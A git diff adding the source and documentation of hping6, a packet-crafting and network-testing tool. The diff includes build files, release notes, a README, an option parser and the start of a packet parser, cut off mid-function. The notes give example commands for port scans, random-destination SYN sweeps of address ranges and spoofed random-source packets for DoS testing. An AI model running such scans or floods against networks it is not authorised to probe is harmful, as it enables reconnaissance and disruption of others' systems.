not, write to the Free Software + Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) 19yy name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/INSTALL b/INSTALL new file mode 100644 index 0000000..d1ad04f --- /dev/null +++ b/INSTALL @@ -0,0 +1,70 @@ +You can compile hping6 at least under: + +Linux +OpenBSD +FreeBSD +NetBSD +Solaris + +With Linux you don't need any libs, nor to be root, +however you need uid 0 to run hping. + +Linux +----- + +please, follows this steps: + +$ ./configure (first try ./configure --help) +$ vi Makefile (optional) +$ make +$ su +# make install + +FreeBSD, OpenBSD, NetBSD +------------------------ + +You will need the libpcap and the gmake utility installed on your system. + +$ ./configure +$ gmake +$ su (or calife) +# gmake install + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +NOTE: You should take care about your net/bpf.h file installing on + BSD systems (specially with OpenBSD). If your original bpf.h was + overwritten with the libpcap one probably hping will not work + with over some interface. + + For example if you use the libpcap bpf.h on OpenBSD hping will + not work over PPP interfaces. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Solaris +------- + +$ export CC="gcc" +$ ./configure +$ gmake +$ su +# gmake install + +ALL +--- + +If you need to run hping6 by your normal +account (i.e. antirez) try the following commands: + +# chown root:antirez /usr/sbin/hping6 +# chmod 4750 /usr/sbin/hping6 + + WARNING: hping6 is not trusted code, i didn't + audit for hidden buffers overflow and others + security related problems. However if (as default) + LIMITWHENSUID is defined if euid != uid + it's not possible to use a lot of options + trivially unsafe. + + suid it at root is not encouraged. + +antirez diff --git a/KNOWN-BUGS b/KNOWN-BUGS new file mode 100644 index 0000000..43a1a8b --- /dev/null +++ b/KNOWN-BUGS @@ -0,0 +1 @@ +See the BUGS manual section. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..b0d6c16 --- /dev/null +++ b/Makefile @@ -0,0 +1,77 @@ +# $smu-mark$ +# $name: Makefile.in$ +# $author: Salvatore Sanfilippo 'antirez'$ +# $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ +# $license: This software is under GPL version 2 of license$ +# $date: Sun Jul 25 17:56:15 MET DST 1999$ +# $rev: 3$ + +CC= gcc +AR=/usr/bin/ar +RANLIB=/usr/bin/ranlib +CCOPT= -O2 -Wall +DEBUG= -g +#uncomment the following if you need libpcap based build under linux +#(not raccomanded) +COMPILE_TIME= +INSTALL_MANPATH=/usr/local/man + + +OBJ= main.o getifname.o getlhs.o \ + linux_sockpacket.o parseoptions.o datafiller.o \ + datahandler.o gethostname.o \ + binding.o getusec.o opensockraw.o \ + logicmp.o waitpacket.o resolve.o \ + sendip.o sendip6.o sendicmp.o sendicmp6.o sendudp.o \ + sendtcp.o cksum.o statistics.o \ + usage.o version.o antigetopt.o \ + sockopt.o listen.o \ + sendhcmp.o memstr.o rtt.o \ + relid.o sendip_handler.o \ + libpcap_stuff.o memlockall.o memunlockall.o \ + memlock.o memunlock.o ip_opt_build.o \ + display_ipopt.o sendrawip.o signal.o send.o \ + strlcpy.o arsglue.o random.o random6.o scan.o \ + hstring.o libars.a + +ARSOBJ = ars.o apd.o split.o + +all: hping6 + +libars.a: $(ARSOBJ) + $(AR) rc $@ $^ + $(RANLIB) $@ + +hping6: byteorder.h $(OBJ) + $(CC) -o hping6 $(CCOPT) $(DEBUG) $(OBJ) $(PCAP) + @echo + ./hping6 -v + @echo "use \`make strip' to strip hping6 binary" + @echo "use \`make install' to install hping6" + +byteorder.h: + ./configure + +.c.o: + $(CC) -c $(CCOPT) $(DEBUG) $(COMPILE_TIME) $< + +clean: + rm -rf hping6 *.o *.a + -(cd utils; $(MAKE) clean) + +distclean: + rm -rf hping6 *.o *.a byteorder byteorder.h systype.h Makefile + -(cd utils; $(MAKE) clean) + +install: hping6 + mkdir -p ${prefix}/sbin/ + cp -f hping6 ${prefix}/sbin/ + chmod 755 ${prefix}/sbin/hping6 + @if [ -f ${prefix}/sbin/hping2 ]; then \ + rm ${prefix}/sbin/hping2; \ + fi + +strip: hping6 + @ls -l ./hping6 + strip hping6 + @ls -l ./hping6 diff --git a/Makefile.in b/Makefile.in new file mode 100644 index 0000000..4ebe335 --- /dev/null +++ b/Makefile.in @@ -0,0 +1,77 @@ +# $smu-mark$ +# $name: Makefile.in$ +# $author: Salvatore Sanfilippo 'antirez'$ +# $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ +# $license: This software is under GPL version 2 of license$ +# $date: Sun Jul 25 17:56:15 MET DST 1999$ +# $rev: 3$ + +CC= gcc +AR=/usr/bin/ar +RANLIB=/usr/bin/ranlib +CCOPT= -O2 -Wall @PCAP_INCLUDE@ +DEBUG= -g +#uncomment the following if you need libpcap based build under linux +#(not raccomanded) +COMPILE_TIME= @FORCE_LIBPCAP@ +INSTALL_MANPATH=@MANPATH@ +@PCAP@ + +OBJ= main.o getifname.o getlhs.o \ + linux_sockpacket.o parseoptions.o datafiller.o \ + datahandler.o gethostname.o \ + binding.o getusec.o opensockraw.o \ + logicmp.o waitpacket.o resolve.o \ + sendip.o sendip6.o sendicmp.o sendicmp6.o sendudp.o \ + sendtcp.o cksum.o statistics.o \ + usage.o version.o antigetopt.o \ + sockopt.o listen.o \ + sendhcmp.o memstr.o rtt.o \ + relid.o sendip_handler.o \ + libpcap_stuff.o memlockall.o memunlockall.o \ + memlock.o memunlock.o ip_opt_build.o \ + display_ipopt.o sendrawip.o signal.o send.o \ + strlcpy.o arsglue.o random.o random6.o scan.o \ + hstring.o libars.a + +ARSOBJ = ars.o apd.o split.o + +all: hping6 + +libars.a: $(ARSOBJ) + $(AR) rc $@ $^ + $(RANLIB) $@ + +hping6: byteorder.h $(OBJ) + $(CC) -o hping6 $(CCOPT) $(DEBUG) $(OBJ) $(PCAP) @SOLARISLIB@ + @echo + ./hping6 -v + @echo "use \`make strip' to strip hping6 binary" + @echo "use \`make install' to install hping6" + +byteorder.h: + ./configure + +.c.o: + $(CC) -c $(CCOPT) $(DEBUG) $(COMPILE_TIME) $< + +clean: + rm -rf hping6 *.o *.a + -(cd utils; $(MAKE) clean) + +distclean: + rm -rf hping6 *.o *.a byteorder byteorder.h systype.h Makefile + -(cd utils; $(MAKE) clean) + +install: hping6 + mkdir -p ${prefix}/sbin/ + cp -f hping6 ${prefix}/sbin/ + chmod 755 ${prefix}/sbin/hping6 + @if [ -f ${prefix}/sbin/hping2 ]; then \ + rm ${prefix}/sbin/hping2; \ + fi + +strip: hping6 + @ls -l ./hping6 + strip hping6 + @ls -l ./hping6 diff --git a/NEWS b/NEWS new file mode 100644 index 0000000..d6b84ae --- /dev/null +++ b/NEWS @@ -0,0 +1,181 @@ +This short document is for users of hping-beta54 or prior versions +and helps to exploit all the new features of this hping6 release in a +short time. You may want to read the new man page anyway but the +following will help for sure: + +=== release candidate 3 news + +In this release a nasty bug with the checksum code was fixed. +If you experimented strange problems like some kind of packet +generated with a wrong checksum try this version. + +Try the --scan option in the command line to see the port-scanner features. + + Example of the --scan option usage: + +# hping3 --scan known 1.2.3.4 + +Scanning 1.2.3.4 (1.2.3.4), port known +245 ports to scan, use -V to see all the replies ++----+-----------+---------+---+-----+-----+-----+ +|port| serv name | flags |ttl| id | win | len | ++----+-----------+---------+---+-----+-----+-----+ + 9 discard : .S..A... 64 0 32767 44 + 13 daytime : .S..A... 64 0 32767 44 + 21 ftp : .S..A... 64 0 32767 44 + 22 ssh : .S..A... 64 0 32767 44 + 25 smtp : .S..A... 64 0 32767 44 + 37 time : .S..A... 64 0 32767 44 + 80 www : .S..A... 64 0 32767 44 + 111 sunrpc : .S..A... 64 0 32767 44 + 113 auth : .S..A... 64 0 32767 44 + 631 ipp : .S..A... 64 0 32767 44 + 3306 mysql : .S..A... 64 0 32767 44 + 6000 x11 : .S..A... 64 0 32767 44 + 6667 ircd : .S..A... 64 0 3072 44 +All replies received. Done. +Not responding ports: + +Check the man page for more information on the scan mode. + +=== release candidate 2 news + +. Now hping is able to send/parse source routed IP headers. + See the manpage for more info. + +. Hping was almost rewrote, at least all the most important parts. + You should experiment a more readable, compact, fast to compile + code. + +. The new option parsing code allows you to specify abbreviated + options. you can now use for example --tcp-ti instead of --tcp-timestamp + and so on. + +. The new feature rand-dest allows to send the packet to random + IP addresses. This is very useful to do some Internet survey + or large subnet random scanning. + + For example the follow command line will send TCP packets with the + SYN flag on to the port 80 of the 192.168.0.0/16 address space: + + hping 192.168.x.x --rand-dest -p 80 -S + + Every occurrence of 'x' is substituted with a random number + in the 0-255 range. + +. The new feature rand-source allows to send packets with random + source addresses. Useful to test some DoS condition against firewalls + or TCP/IP stacks that implements some per-IP basis information + recording. + +. The output was enhanced and fixed a bit. + +. The "force incremental dest port" option (++) now works with UDP + packets and works better with TCP, since it is more selective + with the incoming responses. + +. Now you should be really able to set the sequence and acknowledge + number of the TCP packets. The rc1 code was broken because + atoi() was used to get a long unsigned value. + +. The documentation (and the french translation) was updated + to reflect the changes. + +=== release candidate 1 news + +. Now hping works better on BSD, and works on Solaris. It should + be many times simplest to port it to an unsupported platform. + Problems with systems that uses 32bit pids are now fixed. + +. The output is different to be more parseable and compact, example: + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.5 ms + + now the presence of the Don't fragment IP flag is signaled with 'DF'. + all the fields with a value are in the form 'field=value'. + +. To specify the outgoing interface with -I is no longer needed, + hping will try to detect the right interface according to the + system routing table. Of course you can override it using -I. + +. Instead to specify -i u10000 to get a speed of ten packets for second + you can just use --fast. + +. Now --traceroute (-T) implies --ttl 1. You can override this using --ttl. + +. Using hping as traceroute you have now RTT informations about the + hops. + +. You can monitor a specific hop in traceroute mode, using the following + syntax: + + hping6 -T www.yahoo.com --tr-keep-ttl --ttl 5 + + see the output: + + HPING www.yahoo.com (ippp0 64.58.76.177): NO FLAGS are set, 40 headers + 0 dat + a bytes + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.9 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.8 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.9 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.7 ms + + --- www.yahoo.com hping statistic --- + 4 packets tramitted, 0 packets received, 100% packet loss + round-trip min/avg/max = 136.7/136.8/136.9 ms + + you get only information about the 5 hop, after Ctrl+C the round-trip + min/avg/max is calculated using the rtt of this hop. + +. Using the option --tr-stop you can obtain that hping will exit + when the first matching packet that isn't an ICMP time exceeded + in transit is received, like the original traceroute. Without + this hping continue to send packets to the target host forever. + +. You can use --tr-no-rtt to suppress the rtt information in traceroute + mode. + +. With the --tcp-timestamp feature you can guess the uptime of some + remote systems. Example: + +HPING www.hping.org (ippp0 192.70.106.166): S set, 40 headers + 0 data bytes +56 bytes from 192.70.106.166: flags=SA seq=0 ttl=49 id=28881 win=16080 rtt=105.0 ms + TCP timestamp: 258597761 + +56 bytes from 192.70.106.166: flags=SA seq=1 ttl=49 id=28882 win=16080 rtt=105.4 ms + TCP timestamp: 258597860 + HZ seems 100 + System uptime seems: 29 days, 22 hours, 19 minutes, 38 seconds + +56 bytes from 192.70.106.166: flags=SA seq=2 ttl=49 id=28883 win=16080 rtt=105.1 ms + TCP timestamp: 258597960 + HZ seems 100 + System uptime seems: 29 days, 22 hours, 19 minutes, 39 seconds + + +--- www.hping.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss +round-trip min/avg/max = 105.0/105.2/105.4 ms + + As you can see the first reply does not contain any uptime information + since at least two packets are needed to estimate the increment frequency + of the timestamp timer (that is HZ in the output). + +. You can now use ICMP timestamp and address subnet mask requests. + Two shortcut are provided to use they: --icmp-ts and --icmp-addr. + +. Now the sequence number handling is revisited to allow hping to + show the right rtt info even if the sequence number overflows. + +. Now hping should never (hopefully) SIGBUS on sparc. + +I hope you will find hping better to use and more powerful, these enhancements +were implemented thanks to many people that helped a lot with code and +new ideas, see the CHANGES file for more information and credits. + +have fun, +antirez diff --git a/README b/README new file mode 100644 index 0000000..b854e14 --- /dev/null +++ b/README @@ -0,0 +1,78 @@ + +DESCRIPTION + + hping6 is a network tool able to send custom ICMP/UDP/TCP + packets and to display target replies like ping do with + ICMP replies. hping6 handle fragmentation, arbitrary packet + body and size and can be used in order to transfer files + under supported protocols. Using hping6 you are able at + least to perform the following jobs: + + - Test firewall rules + - [spoofed] port scanning + - Test net performance using differents protocols, + packet size, TOS (type of service) and fragmentation. + - Path MTU discovery + - Files trasfering even between really fascist firewall rules. + - Traceroute like under different protocols. + - Firewalk like usage. + - Remote OS fingerprint. + - TCP/IP stack auditing. + - IPv6 support + - A lot of others. + + It's also really a good didactic tool to learn TCP/IP. + + hping6 is developed and manteined by antirez@invece.org + and comes under GPL version 2 of license. Developing is + open so you can send me patches/suggestions/affronts without + inhibitions. + + Thanks to the following peoples for them suggestions/tests/tools/code: + + Valeriano Bedeschi + Lorenzo Cavallaro + awgn roofing + Darren Reed + Alfonso De Gregorio + Mika + Yann Berthier + Lance Spitzner + Stephane Aubert + Nicolas Jombart + Denis Ducamp + Francesco Potorti` + Stefano Brandimarte + "roy kozzer" + Jason Lunz + Domenico Andreoli + Gian-Luca Dei Rossi + Marco D'Itri + Rui Miguel Barbosa Machado + Daniel Ginsburg + Steve Bleazard + David Coppa + + Many other, I don't remember. + + Also vim developers, ee.lbl.gov for tcpdump and GNU in general. + + IPv6 support, flood modes: + Matyas Koszik + +REQUIREMENTS + + A supported unix-like OS, gcc, root access. + + see PORTINGS file for supported systems list. + +USAGE + + See the man page and HPING6-HOWTO. + +INSTALLATION + + see INSTALL file. + +have fun, +antirez diff --git a/README.md b/README.md new file mode 100644 index 0000000..b1714fb --- /dev/null +++ b/README.md @@ -0,0 +1,21 @@ +This is regular hping2 with a few extra features: + +* `-6` - required for ipv6 destinations +* `--pps` +* `--bps` - set outgoing pps/bps rates. Return packets are not processed in these modes. + +Example: + + root@koszik-vps:~# ./hping6 ns1.atw.hu -6 -2 -p 53 -k -s 1583 --traceroute + HPING ns1.atw.hu (eth0 2a01:270:0:2::11): udp mode set, 48 headers + 0 data bytes + hop=1 TTL 0 during transit from ip=2a00:1f40:2::1 name=2a00-1f40-2--1.pool6.giganet.hu hoprtt=0.9 ms + hop=2 TTL 0 during transit from ip=2a00:1f40:1:bb00::2:1 name=UNKNOWN hoprtt=1005.7 ms + hop=3 TTL 0 during transit from ip=2001:7f8:35::2:9278:2 name=UNKNOWN hoprtt=2011.2 ms + hop=4 TTL 0 during transit from ip=2a02:730:c:b01:b03:0:1:1 name=UNKNOWN hoprtt=3006.7 ms + hop=5 TTL 0 during transit from ip=2a01:270:c:c04:103::1 name=UNKNOWN hoprtt=4007.1 ms + hop=6 TTL 0 during transit from ip=2a01:270:c:c02:c04::1 name=UNKNOWN hoprtt=5007.7 ms + hop=7 TTL 0 during transit from ip=2a01:270:c:106::42 name=UNKNOWN hoprtt=6007.3 ms + ^C + --- ns1.atw.hu hping statistic --- + 12 packets transmitted, 7 packets received, 42% packet loss + round-trip min/avg/max = 0.9/3006.7/6007.3 ms diff --git a/TODO b/TODO new file mode 100644 index 0000000..d78176a --- /dev/null +++ b/TODO @@ -0,0 +1,21 @@ +WARNING: Also try `grep FIXME *.c' + +TODO (Stuff to do *before* 2.0.0 stable release) + +- support for x.y.z.k/mask destination + also in this mode on TCP flags specified exec this program passing + as arguments the IP, port and some additional info. +- To add a decent verbose mode for ICMP packet received. +- add bpf filtering capability +- broadcast support in waitpacket.c +- replace exit() with hping_exit() that close the desciptors and so on. +- hping --getfield + +TODO + +- better solution than ip->id = getpid() & 255 +- log and handle ip and tcp options (only incoming) +- support for hcmp source quench/stirup +- Other ip options (record route already implemented) +- dns query support +- scripting language support, send(...) ifrecv(...) etc... diff --git a/antigetopt.c b/antigetopt.c new file mode 100644 index 0000000..8fcaba8 --- /dev/null +++ b/antigetopt.c @@ -0,0 +1,295 @@ +/* antigetopt -- a getopt replacement + * Copyright(C) 2001 Salvatore Sanfilippo + * This software is released under the GPL license + * see the COPYING file for more information */ + +/* TODO: + * argument list sanity check */ + +#include +#include +#include + +#include "antigetopt.h" + +/* global vars */ +char *ago_optarg = NULL; +char *ago_optname = NULL; +char ago_optchar = '\0'; + +/* static vars */ +static struct ago_exception { + int (*tester)(void); + char *msg; +} ago_exceptions[3] = { + { NULL, NULL }, + { NULL, NULL }, + { NULL, NULL } +}; + +static int ago_exception_bits[] = { AGO_EXCEPT0, AGO_EXCEPT1, AGO_EXCEPT2 }; + +/* static functions */ +static struct ago_optlist +*ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb); +static int strinitcmp(char *a, char *b); + +/*----------------------------- implementation ------------------------------ */ + +int antigetopt(int argc, char **argv, struct ago_optlist *list) +{ + static char **save_argv = NULL; + static char *chain = NULL; + static int endoptions = 0; + struct ago_optlist *opt; + int islong; + + /* Reset */ + if (argv == NULL) { + save_argv = NULL; + chain = NULL; + endoptions = 0; + return AGO_RESET; + } else { + if (save_argv == NULL) { + save_argv = argv+1; /* skips the argv[0] */ + /* XXX: argument list sanity check */ + } + } + +chain_start: + if (chain) { + if (*chain == '\0') + chain = NULL; + else { + if ((opt = ago_lookup(list, chain, &islong, NULL)) + == NULL) + return AGO_UNKNOWN; + if (!(opt->ao_flags & AGO_NOARG)) { + /* the if expression maybe false if the + * argument is optional */ + if (chain[1] == '\0' && *save_argv) + ago_optarg = *save_argv++; + /* while it is mandatory for the NEEDARG type */ + else if (opt->ao_flags & AGO_NEEDARG) + return AGO_REQARG; + } + chain++; + return opt->ao_id; + } + } + + argv = save_argv; + + /* handle the "--" special option */ + if (*argv && strcmp(*argv, "--") == 0) { + endoptions = 1; + argv++; + save_argv++; + } + + while(*argv) { + /* The option must start with '-' */ + if (!endoptions && argv[0][0] == '-' && argv[0][1] != '\0') { + int amb; + + /* note: ago_lookup also sets ago_optname */ + if ((opt = ago_lookup(list, argv[0], &islong, &amb)) + == NULL) + return amb ? AGO_AMBIG : AGO_UNKNOWN; + + /* handle the collapsed short options */ + if (!islong && argv[0][2] != '\0') { + chain = argv[0]+1; + save_argv++; + goto chain_start; + } + + /* if the option require or may have an argument */ + ago_optarg = NULL; + /* If the argument is needed we get the next argv[] + * element without care about what it contains */ + if (opt->ao_flags & AGO_NEEDARG) { + if (argv[1] == NULL) + return AGO_REQARG; + ago_optarg = argv[1]; + argv++; + } + /* If the argument is optional we only recognize it + * as argument if it does not starts with '-' */ + else if (opt->ao_flags & AGO_OPTARG) { + if (argv[1] && argv[1][0] != '-') { + ago_optarg = argv[1]; + argv++; + } + } + save_argv = argv+1; + return opt->ao_id; + } else { + save_argv = argv+1; + ago_optarg = argv[0]; + ago_optchar = '\0'; + ago_optname = NULL; + return AGO_ALONE; + } + } + return AGO_EOF; +} + +#define UNK_SHORT_ERRSTRING "invalid option -- %c\n" +#define UNK_LONG_ERRSTRING "unrecognized option `--%s'\n" +#define ARG_SHORT_ERRSTRING "option requires an argument -- %c\n" +#define ARG_LONG_ERRSTRING "option `--%s' requires an argument\n" +#define AMB_ERRSTRING "option `--%s' is ambiguous\n" +#define IERR_ERRSTRING "internal error. ago_gnu_error() called with " \ + "a bad error code (%d)\n" +void ago_gnu_error(char *pname, int error) +{ + if (pname) + fprintf(stderr, "%s: ", pname); + switch(error) { + case AGO_UNKNOWN: + if (ago_optname) + fprintf(stderr, UNK_LONG_ERRSTRING, + ago_optname); + else + fprintf(stderr, UNK_SHORT_ERRSTRING, + ago_optchar); + break; + case AGO_REQARG: + if (ago_optname) + fprintf(stderr, ARG_LONG_ERRSTRING, + ago_optname); + else + fprintf(stderr, ARG_SHORT_ERRSTRING, + ago_optchar); + break; + case AGO_AMBIG: + fprintf(stderr, AMB_ERRSTRING, ago_optname); + break; + default: + fprintf(stderr, IERR_ERRSTRING, error); + break; + } +} + +int ago_set_exception(int except_nr, int (*tester)(void), char *msg) +{ + if (tester == NULL || msg == NULL || except_nr < 0 || except_nr >= 3) + return -1; + ago_exceptions[except_nr].tester = tester; + ago_exceptions[except_nr].msg = msg; + return 0; +} + +/*-------------------------- static functions ------------------------------- */ + +struct ago_optlist +*ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb) +{ + int i; + + /* ago_lookup can be receive as `arg' a pointer to a + * long argument, like --option, a pointer to a short + * argument like -O, or just a pointer to a char sequence + * in the case of collapsed short arguments like -abcde. */ + + /* Clear the 'ambiguos' flag, used to report the caller + * an ambiguos option abbreviation error */ + if (amb) *amb = 0; + + if (*arg == '-') /* skips the first - if any */ + arg++; + + switch(*arg) { + case '\0': + return NULL; + case '-': + *islong = 1; + arg++; /* skip the last - */ + break; + default: + *islong = 0; + break; + } + + /* search the argument in the list */ + if (*islong) { + int retval; + struct ago_optlist *last = NULL; + + while(!(list->ao_flags & AGO_ENDOFLIST)) { + ago_optname = arg; + ago_optchar = '\0'; + if ((retval = strinitcmp(arg, list->ao_long)) != 0) { + switch(retval) { + case 1: + if (last) { + if (amb) *amb = 1; + return NULL; + } + last = list; + break; + case 2: + goto ok; + } + } + list++; + } + if (last) { + ago_optname = last->ao_long; + list = last; + goto ok; + } + } else { + ago_optchar = *arg; + ago_optname = NULL; + while(!(list->ao_flags & AGO_ENDOFLIST)) { + if (*arg == list->ao_short) + goto ok; + list++; + } + } + return NULL; +ok: + /* handle the exceptions if any */ + for (i = 0; i < 3; i++) { + if ((list->ao_flags & ago_exception_bits[i]) && + ago_exceptions[i].tester) + { + if (ago_exceptions[i].tester()) { + if (ago_optname) { + fprintf(stderr, "%s `--%s'\n", + ago_exceptions[i].msg, + ago_optname); + } else { + fprintf(stderr, "%s `-%c'\n", + ago_exceptions[i].msg, + ago_optchar); + } + exit(1); + } + } + } + return list; +} + +/* Given two strings this function returns: + * 1, if the strings are the same for the len of the first string (abc, abcde) + * 2, if the strings are exactly the same: (abcd, abcd) + * otherwise zero is returned (abcde, abcd) ... (djf, 293492) */ +int strinitcmp(char *a, char *b) +{ + if (!a || !b) + return 0; + while (*a && *b) { + if (*a != *b) + return 0; + a++; b++; + } + if (*a) + return 0; + if (*a == *b) + return 2; + return 1; +} diff --git a/antigetopt.h b/antigetopt.h new file mode 100644 index 0000000..72bc8e9 --- /dev/null +++ b/antigetopt.h @@ -0,0 +1,35 @@ +#ifndef __ANTIGETOPT_H +#define __ANTIGETOPT_H + +/* special return codes */ +enum { AGO_EOF=4000, AGO_ALONE, AGO_UNKNOWN, AGO_REQARG, AGO_RESET, AGO_AMBIG }; + +/* option flags */ +#define AGO_NOARG (1<<0) /* no argument */ +#define AGO_NEEDARG (1<<1) /* required argument */ +#define AGO_OPTARG (1<<2) /* optional argument */ +#define AGO_EXCEPT0 (1<<3) /* exception #0 */ +#define AGO_EXCEPT1 (1<<4) /* exception #1 */ +#define AGO_EXCEPT2 (1<<5) /* exception #3 */ +#define AGO_ENDOFLIST (1<<15) /* end of argument list marker */ + +/* option list null term */ +#define AGO_LIST_TERM {'\0',NULL,0,AGO_ENDOFLIST} + +/* The structure that defines an argument */ +struct ago_optlist { + char ao_short; + char *ao_long; + int ao_id; + int ao_flags; +}; + +extern char *ago_optarg; +extern char *ago_optname; +extern char ago_optchar; + +int antigetopt(int argc, char **argv, struct ago_optlist *list); +void ago_gnu_error(char *pname, int error); +int ago_set_exception(int except_nr, int (*tester)(void), char *msg); + +#endif /* __ANTIGETOPT_H */ diff --git a/apd.c b/apd.c new file mode 100644 index 0000000..d540a63 --- /dev/null +++ b/apd.c @@ -0,0 +1,489 @@ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo + * See the LICENSE file for more information. + * + * ARS Packet Description System. + * + * Please, prefix all the function with ars_d_ */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "ars.h" + +#define ARS_MAX_TSIZE 1024 +char *ars_d_parser(char *t, char *next, size_t size) +{ + int i = 0; + + if (size == 0 || next == NULL || *t == '\0') + return NULL; + size--; /* space for nul term */ + while (1) { + /* no space for the next char */ + if (i == size) { + next[i] = '\0'; + return t; + } + switch(*t) { + case '\0': + case '{': + case '}': + case ',': + case '=': + case '+': + if (i == 0) { + next[i] = *t; + next[i+1] = '\0'; + return t+1; + } else { + next[i] = '\0'; + return t; + } + default: + next[i++] = *t++; + break; + } + } + return NULL; /* unreached */ +} + +/* states */ +#define ARS_G_LAYER 0 +#define ARS_G_FIELD 1 +#define ARS_G_VALUE 2 +#define ARS_G_OBRACE_OR_PLUS 3 +#define ARS_G_CBRACE 4 +#define ARS_G_COMMA_OR_CBRACE 5 +#define ARS_G_LEN_OR_PLUS 6 +#define ARS_G_PLUS 7 +#define ARS_G_EQUAL 8 + +struct ars_d_keyword_info { + char *ki_keyword; + int ki_opt; + void *(*ki_add) (struct ars_packet *pkt, int opt); + int (*ki_set) (struct ars_packet *pkt, int layer, char *f, char *v); +}; + +#define ARS_DKINFO_SIZE 64 + +#define BOGUS_SET_F(x) \ + int (x)(struct ars_packet *pkt, int layer, char *f, char *v) { return 0; } + +int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v); +int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v); +int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v); +int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v); +int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v); +BOGUS_SET_F(ars_d_set_ipopt_sec) +BOGUS_SET_F(ars_d_set_ipopt_sid) +BOGUS_SET_F(ars_d_set_ipopt_lsrr) +BOGUS_SET_F(ars_d_set_ipopt_ssrr) +BOGUS_SET_F(ars_d_set_ipopt_rr) +BOGUS_SET_F(ars_d_set_ipopt_ts) +BOGUS_SET_F(ars_d_set_tcpopt_mss) +BOGUS_SET_F(ars_d_set_tcpopt_wscale) +BOGUS_SET_F(ars_d_set_tcpopt_sackperm) +BOGUS_SET_F(ars_d_set_tcpopt_sack) +BOGUS_SET_F(ars_d_set_tcpopt_echo) +BOGUS_SET_F(ars_d_set_tcpopt_echoreply) +BOGUS_SET_F(ars_d_set_tcpopt_ts) + +struct ars_d_keyword_info ars_dkinfo[ARS_DKINFO_SIZE] = { + /* KEYWORD OPT ADD function SET function * + * --------------------------------------------------------- */ + {"ip", 0, ars_add_iphdr, ars_d_set_ip}, + {"ipopt.eol", ARS_IPOPT_EOL, ars_add_ipopt, NULL}, + {"ipopt.nop", ARS_IPOPT_NOP, ars_add_ipopt, NULL}, + {"ipopt.sec", ARS_IPOPT_SEC, ars_add_ipopt, ars_d_set_ipopt_sec}, + {"ipopt.sid", ARS_IPOPT_SID, ars_add_ipopt, ars_d_set_ipopt_sid}, + {"ipopt.lsrr", ARS_IPOPT_LSRR, ars_add_ipopt, ars_d_set_ipopt_lsrr}, + {"ipopt.ssrr", ARS_IPOPT_SSRR, ars_add_ipopt, ars_d_set_ipopt_ssrr}, + {"ipopt.rr", ARS_IPOPT_RR, ars_add_ipopt, ars_d_set_ipopt_rr}, + {"ipopt.ts", ARS_IPOPT_TIMESTAMP, ars_add_ipopt, ars_d_set_ipopt_ts}, + {"udp", 0, ars_add_udphdr, ars_d_set_udp}, + {"tcp", 0, ars_add_tcphdr, ars_d_set_tcp}, + {"tcpopt.end", ARS_TCPOPT_EOL, ars_add_tcpopt, NULL}, + {"tcpopt.nop", ARS_TCPOPT_NOP, ars_add_tcpopt, NULL}, + {"tcpopt.mss", ARS_TCPOPT_MAXSEG, ars_add_tcpopt, ars_d_set_tcpopt_mss}, + {"tcpopt.wscale", ARS_TCPOPT_WINDOW, ars_add_tcpopt, ars_d_set_tcpopt_wscale}, + {"tcpopt.sackperm", ARS_TCPOPT_SACK_PERM, ars_add_tcpopt, ars_d_set_tcpopt_sackperm}, + {"tcpopt.sack", ARS_TCPOPT_SACK, ars_add_tcpopt, ars_d_set_tcpopt_sack}, + {"tcpopt.echo", ARS_TCPOPT_ECHOREQUEST, ars_add_tcpopt, ars_d_set_tcpopt_echo}, + {"tcpopt.echoreply", ARS_TCPOPT_ECHOREPLY, ars_add_tcpopt, ars_d_set_tcpopt_echoreply}, + {"tcpopt.ts", ARS_TCPOPT_TIMESTAMP, ars_add_tcpopt, ars_d_set_tcpopt_ts}, + {"icmp", 0, ars_add_icmphdr, ars_d_set_icmp}, + {"data", 0, ars_add_data, ars_d_set_data}, + {NULL, 0, NULL, NULL} /* nul term */ +}; + +struct ars_d_keyword_info *ars_get_keyword_by_name(char *name) +{ + struct ars_d_keyword_info *k = ars_dkinfo; + + while (k->ki_keyword) { + if (strcasecmp(k->ki_keyword, name) == 